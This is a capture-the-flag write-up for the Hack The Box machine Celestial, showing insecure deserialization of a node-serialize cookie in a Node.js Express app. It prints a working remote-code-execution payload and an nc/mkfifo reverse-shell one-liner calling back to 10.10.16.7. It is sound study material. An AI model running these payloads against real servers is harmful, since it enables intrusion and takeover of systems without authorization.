Node.js - Insecure Deserialization : Celestial (HTB)
the node express
framework is presented at port 3000

intercepting the request first gave us 404 page, but if we refresh the page again we can see a new value in the cookie ( profile
)

decoding the profile value, and we can see that it's a json
data

Triggering the vulnerability :
Scenario : we will serialize
an object and inject it into the cookie parameter ( profile
) to see if the server desrialize
our object, and if that's the case, then the application is vulnerable to insecure deserialization
Serialization Code:
using the below code, we will serialize an object which just has a function that prints the "the app is vulnerable to insecure deserialization
" message (as described in this article: https://medium.com/@chaudharyaditya/insecure-deserialization-3035c6b5766e)
var serialize = require('node-serialize');
x = {
username : function(){ return 'the app is vulnerable to insecure deserialization'; }
};
console.log("Serialized: \\n" + serialize.serialize(x));
the serialized object
{"username":"_$$ND_FUNC$$_function(){ return 'the app is vulnerable to insecure deserialization'; }"}
and we need to append the ()
value at the end of the function, to make the function self-invoking ( Immediately invoked function expression (IIFE) )
{"username":"_$$ND_FUNC$$_function(){ return 'the app is vulnerable to insecure deserialization'; }()"}
encode the object to base64

passing the request , and we can see that the server deserialized our object

Reverse Shell - BASH TCP :
we will execute the below command on the server using the serialized object to gain a shell on the server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4242 >/tmp/f
Serialization Code:
var serialize = require('node-serialize');
x = {
username: function(){require('child_process').execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4242 >/tmp/f", function puts(error, stdout, stderr) {});}
};
console.log("Serialized: \\n" + serialize.serialize(x));
Serialized object :
{"username":"_$$ND_FUNC$$_function(){require('child_process').execSync(\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.8 4242 >/tmp/f\\", function puts(error, stdout, stderr) {});}"}
making the function self-invoking
{"username":"_$$ND_FUNC$$_function(){require('child_process').execSync(\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4242 >/tmp/f\\", function puts(error, stdout, stderr) {});}()"}
and we got the shell

Last updated
Was this helpful?